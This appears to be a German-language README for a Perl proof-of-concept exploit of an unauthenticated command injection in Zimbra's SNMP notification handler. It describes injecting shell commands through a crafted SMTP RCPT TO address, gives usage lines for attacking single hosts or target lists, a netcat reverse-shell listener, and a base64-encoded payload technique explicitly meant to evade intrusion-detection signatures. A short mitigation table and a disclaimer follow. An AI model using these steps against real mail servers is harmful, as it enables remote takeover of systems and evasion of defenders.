
Zimbra SNMP-Benachrichtigung OS-Command-Injection — Nicht authentifizierte RCE über SMTP-Exploit (PoC)
Nicht authentifizierte Remote-Code-Ausführung über OS-Command-Injection im SNMP-Benachrichtigungs-Handler der Zimbra Collaboration Suite.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 HOCH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — Unsachgemäße Neutralisierung spezieller Elemente, die in einem OS-Befehl verwendet werden |
| Betroffen | Zimbra ZCS < 10.1.20 (mit installiertem zimbra-snmp) |
| Behoben in | ZCS 10.1.20 — Juli 2026 |
| CISA KEV | Hinzugefügt am 2026-08-21 (FCEB-Behebungsfrist: 2026-08-24) |
| Authentifizierung erforderlich | Keine |
| Ausführung als | zimbra-OS-Benutzer |
Das optionale Paket zimbra-snmp enthält eine swatchdog-Regel, die /var/log/zimbra.log auf Zeilen überwacht, die folgendem Muster entsprechen:
Service status change: <NAME> changed from <STATE> to <STATE>
Wenn eine Übereinstimmung gefunden wird, übergibt swatchdog das erfasste Feld <NAME> direkt an das SNMP-Benachrichtigungs-Shellskript ohne jegliche Bereinigung.
Ein nicht authentifizierter Angreifer kann einen manipulierten Log-Eintrag einschleusen, indem er einen speziell geformten SMTP-RCPT TO-Befehl sendet. Unter Verwendung eines RFC-5321-quoted local-part werden Shell-Metazeichen — z. B. $(...) — innerhalb von <NAME> eingebettet und ausgeführt, wenn swatchdog die resultierende Log-Zeile verarbeitet.
Alle drei Bedingungen müssen auf dem Ziel erfüllt sein, damit die Schwachstelle ausnutzbar ist:
zimbra-snmp ist installiertsnmp_notify = true)swatchdog läuftAttacker Zimbra MTA
│ │
│── TCP connect :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── logs RCPT TO data ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog matches
│ │ pattern, extracts
│ │ $(CMD), executes
│◄─────────── shell callback ───────────────────────────────────────┘
RCPT TO.swatchdog gleicht das Log-Muster ab und extrahiert das injizierte $(CMD).CMD als zimbra-OS-Benutzer aus.cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
oder über apt-get
apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl
oder über yum
yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444
targets.txt — ein Host pro Zeile, optional :port, Zeilen, die mit # beginnen, werden ignoriert:
mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment
| Flag | Lang | Standard | Beschreibung |
|---|---|---|---|
-H | --host | — | Einzelner Ziel-Hostname oder IP |
-f | --file | — | Datei mit Zielliste |
-p | --port | 587 | Standard-SMTP-Port |
-r | --rhost | — | Ihre IP für den Reverse-Shell-Callback |
-R | --rport | 4444 | Listener-Port |
-t | --timeout | 15 | Socket-Timeout in Sekunden |
-S | --ssl | aus | Direktes TLS (automatisch aktiviert auf Port 465) |
-v | --verbose | aus | Vollständigen SMTP-Dialog ausgeben |
-L | --logfile | — | Sitzungsprotokoll in Datei schreiben |
-h | --help | — | Hilfe anzeigen |
# Terminal 1 — start listener
nc -lvnp 4444
# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
Der Reverse-Shell-Befehl wird vor der Injektion base64-kodiert:
echo <b64>|base64 -d|bash
Dies verhindert, dass IDS/IPS Klartext-Signaturen wie /dev/tcp, bash -i oder nc -e erkennen. Der kodierte Blob wird als $(...) innerhalb des in Anführungszeichen gesetzten Local-Parts von RCPT TO eingeschleust und löst serverseitig eine Ausführung aus, wenn swatchdog den Log-Eintrag verarbeitet.
| Maßnahme | Detail |
|---|---|
| Patch | Upgrade auf Zimbra ZCS ≥ 10.1.20 |
| SNMP-Benachrichtigung deaktivieren | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| Paket entfernen | apt remove zimbra-snmp / yum remove zimbra-snmp |
| Netzwerkkontrollen | Eingehendes SMTP (25/465/587) auf vertrauenswürdige Relays beschränken, sofern betrieblich machbar |
Dieser Proof-of-Concept wird ausschließlich für autorisiertes Sicherheitstesting, akademische Forschung und defensive Zwecke veröffentlicht.
Die Ausführung gegen Systeme, die Ihnen nicht gehören oder für deren Test Sie keine ausdrückliche schriftliche Genehmigung besitzen, ist illegal.
Der Autor übernimmt keine Haftung für jeglichen Missbrauch oder Schaden, der durch dieses Tool verursacht wird.